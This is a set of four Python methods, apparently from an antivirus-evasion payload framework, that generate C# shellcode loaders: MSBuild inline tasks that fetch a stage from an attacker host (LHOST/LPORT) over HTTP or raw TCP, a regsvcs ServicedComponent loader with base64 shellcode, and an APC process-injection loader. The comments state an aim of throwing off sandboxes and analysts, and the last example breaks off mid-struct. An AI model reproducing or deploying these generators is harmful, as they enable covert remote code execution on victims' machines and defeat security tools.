Example #1
0
    def generate(self):
        # MSBuild specific variables
        targetName = bypass_helpers.randomString()
        className = bypass_helpers.randomString()
        # get 12 random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(12)]
        y = [bypass_helpers.randomString() for x in range(17)]
        # The header for MSBuild XML files
        # TODO: Fix the awful formatting
        msbuild_header = """<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">\n<!-- C:\Windows\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe SimpleTasks.csproj -->\n\t<Target Name="{0}">
            <{1} />
          </Target>
          <UsingTask
            TaskName="{1}"
            TaskFactory="CodeTaskFactory"
            AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
            <Task>

              <Code Type="Class" Language="cs">
              <![CDATA[
        """.format(targetName, className)
        # imports and namespace setup
        payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;\n"
        payload_code += "public class %s : Task, ITask {\n" % (className)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        # code for the randomString() function
        randomStringName = bypass_helpers.randomString()
        bufferName = bypass_helpers.randomString()
        charsName = bypass_helpers.randomString()
        t = list(
            "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
        random.shuffle(t)
        chars = ''.join(t)

        # code for the randomString() method
        payload_code += "static string %s(Random r, int s) {\n" % (
            randomStringName)
        payload_code += "char[] %s = new char[s];\n" % (bufferName)
        payload_code += "string %s = \"%s\";\n" % (charsName, chars)
        payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" % (
            bufferName, charsName, charsName)
        payload_code += "return new string(%s);}\n" % (bufferName)

        # code for the checksum8() function
        checksum8Name = bypass_helpers.randomString()
        payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" % (
            checksum8Name)

        # code fo the genHTTPChecksum() function
        genHTTPChecksumName = bypass_helpers.randomString()
        baseStringName = bypass_helpers.randomString()
        randCharsName = bypass_helpers.randomString()
        urlName = bypass_helpers.randomString()
        random.shuffle(t)
        randChars = ''.join(t)

        payload_code += "static string %s(Random r) { string %s = \"\";\n" % (
            genHTTPChecksumName, baseStringName)
        payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" % (
            baseStringName, randomStringName)
        payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" % (
            randCharsName, randChars)
        payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" % (
            randCharsName)
        payload_code += "string %s = %s + %s[j];\n" % (urlName, baseStringName,
                                                       randCharsName)
        payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}" % (
            checksum8Name, urlName, urlName)

        # code for getData() function
        getDataName = helpers.randomString()
        strName = helpers.randomString()
        webClientName = helpers.randomString()
        sName = helpers.randomString()

        payload_code += "static byte[] %s(string %s) {\n" % (getDataName,
                                                             strName)
        payload_code += "WebClient %s = new System.Net.WebClient();\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" % (
            webClientName)
        payload_code += "byte[] %s = null;\n" % (sName)
        payload_code += "try { %s = %s.DownloadData(%s);\n" % (
            sName, webClientName, strName)
        payload_code += "if (%s.Length < 100000) return null;}\n" % (sName)
        payload_code += "catch (WebException) {}\n"
        payload_code += "return %s;}\n" % (sName)

        # code fo the inject() function to inject shellcode
        injectName = bypass_helpers.randomString()
        sName = bypass_helpers.randomString()
        funcAddrName = bypass_helpers.randomString()
        hThreadName = bypass_helpers.randomString()
        threadIdName = bypass_helpers.randomString()
        pinfoName = bypass_helpers.randomString()

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += "        UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, sName)
            payload_code += "        Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                sName, funcAddrName, sName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName)
            payload_code += "        UInt32 %s = 0;\n" % (threadIdName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
            payload_code += "        %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += "        WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += '       UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                pinfoName, sName)
            payload_code += '       UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                funcAddrName, pinfoName, sName)
            payload_code += '       RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                funcAddrName, sName, sName)
            payload_code += '       UInt32 {} = 0;\n'.format(threadIdName)
            payload_code += '       IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, funcAddrName, threadIdName)
            payload_code += '       WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(
                hThreadName)

        # code for Main() to launch everything
        sName = bypass_helpers.randomString()
        randomName = bypass_helpers.randomString()
        num_tabs_required = 0

        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 2

        payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" % (
            randomName)
        payload_code += "byte[] %s = %s(\"http://%s:%s/\" + %s(%s));\n" % (
            sName, getDataName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0], genHTTPChecksumName, randomName)
        payload_code += "%s(%s);\n" % (injectName, sName)

        while (num_tabs_required != 0):
            if num_tabs_required == 2:
                # return true for the msbuild Execute() function
                payload_code += "\nreturn true;"
                payload_code += '\t' * num_tabs_required + '}'
                num_tabs_required -= 1
            else:
                payload_code += '\t' * num_tabs_required + '}'
                num_tabs_required -= 1

        payload_code += "\n\t\t\t\t]]>\n\t\t\t</Code>\n\t\t</Task>\n\t</UsingTask>\n</Project>"
        payload_code = msbuild_header + payload_code

        self.payload_source_code = payload_code
        return
Example #2
0
    def generate(self):

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        # Base64 encode the shellcode
        Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])
        Shellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii')

        # randomize all our variable names, yo'
        className = bypass_helpers.randomString()
        classNameTwo = bypass_helpers.randomString()
        namespace = bypass_helpers.randomString()
        key = bypass_helpers.randomString()
        execName = bypass_helpers.randomString()
        bytearrayName = bypass_helpers.randomString()
        funcAddrName = bypass_helpers.randomString()
        savedStateName = bypass_helpers.randomString()
        messWithAnalystName = bypass_helpers.randomString()
        shellcodeName = bypass_helpers.randomString()
        rand_bool = bypass_helpers.randomString()
        random_out = bypass_helpers.randomString()


        hThreadName = bypass_helpers.randomString()
        threadIdName = bypass_helpers.randomString()
        pinfoName = bypass_helpers.randomString()
        num_tabs_required = 0

        # get random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(16)]
        y = [bypass_helpers.randomString() for x in range(17)]

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;\n"
        payload_code += "namespace {0}\n {{".format(namespace)
        payload_code += "\n\tpublic class {0} : ServicedComponent {{\n".format(className)
        # placeholder for legitimate C# program
        # lets add a message box to throw offf sandbox heuristics and analysts :)
        payload_code += '\n\t\tpublic {0}() {{ Console.WriteLine("doge"); }}\n'.format(className)
        payload_code += "\n\t\t[ComRegisterFunction]"
        payload_code += "\n\t\tpublic static void RegisterClass ( string {0} )\n\t\t{{\n".format(key)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n".format(classNameTwo, execName)
        payload_code += "\n[ComUnregisterFunction]"
        payload_code += "\n\t\tpublic static void UnRegisterClass ( string {0} )\n\t\t{{\n".format(key)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n\t}}\n".format(classNameTwo, execName)

        payload_code += "\n\tpublic class {0}\n\t{{".format(classNameTwo)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11], r[12], r[13], r[14], r[15])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16])

        payload_code += "\n\t\tpublic static void {0}() {{\n".format(execName)
        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 3

        payload_code += '\t' * num_tabs_required + "string %s = System.Text.ASCIIEncoding.ASCII.GetString(Convert.FromBase64String(\"%s\"));\n" % (bytearrayName, Shellcode)
        payload_code += '\t' * num_tabs_required + "string[] chars = %s.Split(',').ToArray();\n" %(bytearrayName)
        payload_code += '\t' * num_tabs_required + "byte[] %s = new byte[chars.Length];\n" %(shellcodeName)
        payload_code += '\t' * num_tabs_required + "for (int i = 0; i < chars.Length; ++i) { %s[i] = Convert.ToByte(chars[i], 16); }\n"  %(shellcodeName)
        # payload_code += '\t' * num_tabs_required + "byte[] {0} = System.Convert.FromBase64String(\"{1}\");".format(shellcodeName, Shellcode)

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (funcAddrName, shellcodeName)
            payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (shellcodeName, funcAddrName, shellcodeName)
            payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName)
            payload_code += '\t' * num_tabs_required + "uint %s;\n" %(random_out)
            payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" %(rand_bool, funcAddrName, random_out)
            payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);\n" % (hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            rand_heap = bypass_helpers.randomString()
            rand_ptr = bypass_helpers.randomString()
            rand_var = bypass_helpers.randomString()

            payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(rand_heap, shellcodeName)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(rand_ptr, rand_heap, shellcodeName)
            payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(rand_ptr, shellcodeName, shellcodeName)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(rand_var)
            payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, rand_ptr, rand_var)
            payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);\n'.format(hThreadName)


        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        self.payload_source_code = payload_code
        return
Example #3
0
    def generate(self):

        getDataName = helpers.randomString()
        injectName = helpers.randomString()
        targetName = bypass_helpers.randomString()
        className = bypass_helpers.randomString()

        # get 12 random variables for the API imports
        r = [helpers.randomString() for x in range(12)]
        y = [helpers.randomString() for x in range(17)]

        # The header for MSBuild XML files
        # TODO: Fix the awful formatting
        msbuild_header = """<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">\n<!-- C:\Windows\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe SimpleTasks.csproj -->\n\t<Target Name="{0}">
            <{1} />
          </Target>
          <UsingTask
            TaskName="{1}"
            TaskFactory="CodeTaskFactory"
            AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
            <Task>

              <Code Type="Class" Language="cs">
              <![CDATA[
        """.format(targetName, className)
        payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;\n"
        payload_code += "public class %s : Task, ITask {\n" % (className)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        hostName = helpers.randomString()
        portName = helpers.randomString()
        ipName = helpers.randomString()
        sockName = helpers.randomString()
        length_rawName = helpers.randomString()
        lengthName = helpers.randomString()
        sName = helpers.randomString()
        total_bytesName = helpers.randomString()
        handleName = helpers.randomString()

        payload_code += "static byte[] %s(string %s, int %s) {\n" % (
            getDataName, hostName, portName)
        payload_code += "    IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" % (
            ipName, hostName, portName)
        payload_code += "    Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" % (
            sockName)
        payload_code += "    try { %s.Connect(%s); }\n" % (sockName, ipName)
        payload_code += "    catch { return null;}\n"
        payload_code += "    byte[] %s = new byte[4];\n" % (length_rawName)
        payload_code += "    %s.Receive(%s, 4, 0);\n" % (sockName,
                                                         length_rawName)
        payload_code += "    int %s = BitConverter.ToInt32(%s, 0);\n" % (
            lengthName, length_rawName)
        payload_code += "    byte[] %s = new byte[%s + 5];\n" % (sName,
                                                                 lengthName)
        payload_code += "    int %s = 0;\n" % (total_bytesName)
        payload_code += "    while (%s < %s)\n" % (total_bytesName, lengthName)
        payload_code += "    { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" % (
            total_bytesName, sockName, sName, total_bytesName, lengthName,
            total_bytesName, lengthName, total_bytesName)
        payload_code += "    byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" % (
            handleName, sockName)
        payload_code += "    Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" % (
            handleName, sName, sName)
        payload_code += "    return %s;}\n" % (sName)

        sName = helpers.randomString()
        funcAddrName = helpers.randomString()
        hThreadName = helpers.randomString()
        threadIdName = helpers.randomString()
        pinfoName = helpers.randomString()

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += "        UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, sName)
            payload_code += "        Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                sName, funcAddrName, sName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName)
            payload_code += "        UInt32 %s = 0;\n" % (threadIdName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
            payload_code += "        %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += "        WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += '       UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                pinfoName, sName)
            payload_code += '       UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                funcAddrName, pinfoName, sName)
            payload_code += '       RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                funcAddrName, sName, sName)
            payload_code += '       UInt32 {} = 0;\n'.format(threadIdName)
            payload_code += '       IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, funcAddrName, threadIdName)
            payload_code += '       WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(
                hThreadName)

        sName = helpers.randomString()
        num_tabs_required = 0

        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 2

        payload_code += "    byte[] %s = null; %s = %s(\"%s\", %s);\n" % (
            sName, sName, getDataName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0])
        payload_code += "    %s(%s);\n" % (injectName, sName)

        while (num_tabs_required != 0):
            if num_tabs_required == 2:
                # return true for the msbuild Execute() function
                payload_code += "\nreturn true;"
                payload_code += '\t' * num_tabs_required + '}'
                num_tabs_required -= 1
            else:
                payload_code += '\t' * num_tabs_required + '}'
                num_tabs_required -= 1

        payload_code += "\n\t\t\t\t]]>\n\t\t\t</Code>\n\t\t</Task>\n\t</UsingTask>\n</Project>"
        payload_code = msbuild_header + payload_code

        self.payload_source_code = payload_code
        return
Example #4
0
    def generate(self):
        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])
        Shellcode = base64.b64encode(bytes(Shellcode,
                                           'latin-1')).decode('ascii')

        # randomize all our variables, yo
        x86 = bypass_helpers.randomString()
        # generate a random key
        key = bypass_helpers.randomString().lower()

        # figure out a sane way to generate two separate instances of shellcode within the framework
        # currently, only 32 bit payload shellcode will work

        payload_code, num_tabs_required = gamemaker.senecas_games(self)
        code = ""
        num_tabs = 0

        bytearrayName = bypass_helpers.randomString()
        className = "HelloWorld"
        processMigrate = "Print"
        processMigratex86 = bypass_helpers.randomString()
        processMigrateProcessPath = bypass_helpers.randomString()
        processMigrateShellcode = bypass_helpers.randomString()
        shellCode = bypass_helpers.randomString()
        startupInfo = bypass_helpers.randomString()
        processInformation = bypass_helpers.randomString()
        success = bypass_helpers.randomString()
        resultPtr = bypass_helpers.randomString()
        bytesWritten = bypass_helpers.randomString()
        resultBool = bypass_helpers.randomString()
        oldProtect = bypass_helpers.randomString()
        targetProc = bypass_helpers.randomString()
        currentThreads = bypass_helpers.randomString()
        sht = bypass_helpers.randomString()
        ptr = bypass_helpers.randomString()
        ThreadHandle = bypass_helpers.randomString()

        code += "using System;\nusing System.Diagnostics;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Linq;\n\n"
        code += "[ComVisible(true)]\n"
        code += "public class {0}\n".format(className)
        code += "{\n"

        num_tabs += 1

        code += "\t" * num_tabs + "public {0}()\n".format(className)
        code += "\t" * num_tabs + "{\n\n"
        code += "\t" * num_tabs + "}\n\n"
        code += "\t" * num_tabs + "public void {0}(string {1})\n".format(
            processMigrate, processMigratex86)
        code += "\t" * num_tabs + "{\n"
        code += "\t" * num_tabs + payload_code
        code += "\t" * num_tabs + "string {0};\n".format(
            processMigrateShellcode)
        code += "\t" * num_tabs + "string {0};\n".format(
            processMigrateProcessPath)
        code += "\t" * num_tabs + "\t{0} = {1};\n".format(
            processMigrateShellcode, processMigratex86)
        code += "\t" * num_tabs + "\t{0} = \"{1}\";\n\n".format(
            processMigrateProcessPath, "C:\\\\Windows\\\\System32\\\\" +
            self.required_options["PROCESS"][0])
        code += '\t' * num_tabs + "\tstring %s = System.Text.ASCIIEncoding.ASCII.GetString(Convert.FromBase64String(%s));\n" % (
            bytearrayName, processMigrateShellcode)
        code += '\t' * num_tabs + "\tstring[] chars = %s.Split(',').ToArray();\n" % (
            bytearrayName)
        code += '\t' * num_tabs + "\tbyte[] %s = new byte[chars.Length];\n" % (
            shellCode)
        code += '\t' * num_tabs + \
                    "\tfor (int i = 0; i < chars.Length; ++i) { %s[i] = Convert.ToByte(chars[i], 16); }\n" % (
                        shellCode)
        code += "\t" * num_tabs + "\tSTARTUPINFO {0} = new STARTUPINFO();\n".format(
            startupInfo)
        code += "\t" * num_tabs + "\tPROCESS_INFORMATION {0} = new PROCESS_INFORMATION();\n".format(
            processInformation)
        code += "\t" * num_tabs + "\tbool {0} = CreateProcess({1}, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW , IntPtr.Zero, null, ref {2}, out {3});\n".format(
            success, processMigrateProcessPath, startupInfo,
            processInformation)
        code += "\t" * num_tabs + "\tIntPtr {0} = VirtualAllocEx({1}.hProcess, IntPtr.Zero, {2}.Length, MEM_COMMIT, PAGE_READWRITE);\n".format(
            resultPtr, processInformation, shellCode)
        code += "\t" * num_tabs + "\tIntPtr {0} = IntPtr.Zero;\n".format(
            bytesWritten)
        code += "\t" * num_tabs + "\tbool {0} = WriteProcessMemory({1}.hProcess,{2},{3},{4}.Length, out {5});\n".format(
            resultBool, processInformation, resultPtr, shellCode, shellCode,
            bytesWritten)
        code += "\t" * num_tabs + "\tuint {0} = 0;\n".format(oldProtect)
        code += "\t" * num_tabs + "\t{0} = VirtualProtectEx({1}.hProcess, {2}, {3}.Length, PAGE_EXECUTE_READ, out {4} );\n".format(
            resultBool, processInformation, resultPtr, shellCode, oldProtect)
        code += "\t" * num_tabs + "\tProcess {0} = Process.GetProcessById((int){1}.dwProcessId);\n".format(
            targetProc, processInformation)
        code += "\t" * num_tabs + "\tProcessThreadCollection {0} = {1}.Threads;\n".format(
            currentThreads, targetProc)
        code += "\t" * num_tabs + "\tIntPtr {0} = OpenThread(ThreadAccess.SET_CONTEXT, false, {1}[0].Id);\n".format(
            sht, currentThreads)
        code += "\t" * num_tabs + "\tIntPtr {0} = QueueUserAPC({1},{2},IntPtr.Zero);\n".format(
            ptr, resultPtr, sht)
        code += "\t" * num_tabs + "\tIntPtr {0} = {1}.hThread;\n".format(
            ThreadHandle, processInformation)
        code += "\t" * num_tabs + "\tResumeThread({0});\n".format(ThreadHandle)
        code += "\t" * num_tabs + "}\n"
        code += """
            private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READ = 0x20;
            private static UInt32 PAGE_READWRITE = 0x04;

            [Flags]
            public enum ProcessAccessFlags : uint
            {
                All = 0x001F0FFF,
                Terminate = 0x00000001,
                CreateThread = 0x00000002,
                VirtualMemoryOperation = 0x00000008,
                VirtualMemoryRead = 0x00000010,
                VirtualMemoryWrite = 0x00000020,
                DuplicateHandle = 0x00000040,
                CreateProcess = 0x000000080,
                SetQuota = 0x00000100,
                SetInformation = 0x00000200,
                QueryInformation = 0x00000400,
                QueryLimitedInformation = 0x00001000,
                Synchronize = 0x00100000
            }
            
            [Flags]
            public enum ProcessCreationFlags : uint
            {
                ZERO_FLAG = 0x00000000,
                CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
                CREATE_DEFAULT_ERROR_MODE = 0x04000000,
                CREATE_NEW_CONSOLE = 0x00000010,
                CREATE_NEW_PROCESS_GROUP = 0x00000200,
                CREATE_NO_WINDOW = 0x08000000,
                CREATE_PROTECTED_PROCESS = 0x00040000,
                CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
                CREATE_SEPARATE_WOW_VDM = 0x00001000,
                CREATE_SHARED_WOW_VDM = 0x00001000,
                CREATE_SUSPENDED = 0x00000004,
                CREATE_UNICODE_ENVIRONMENT = 0x00000400,
                DEBUG_ONLY_THIS_PROCESS = 0x00000002,
                DEBUG_PROCESS = 0x00000001,
                DETACHED_PROCESS = 0x00000008,
                EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
                INHERIT_PARENT_AFFINITY = 0x00010000
            }

            public struct PROCESS_INFORMATION
            {
                public IntPtr hProcess;
                public IntPtr hThread;
                public uint dwProcessId;
                public uint dwThreadId;
            }

            public struct STARTUPINFO
            {
                public uint cb;
                public string lpReserved;
                public string lpDesktop;
                public string lpTitle;
                public uint dwX;
                public uint dwY;
                public uint dwXSize;
                public uint dwYSize;
                public uint dwXCountChars;
                public uint dwYCountChars;
                public uint dwFillAttribute;
                public uint dwFlags;
                public short wShowWindow;
                public short cbReserved2;
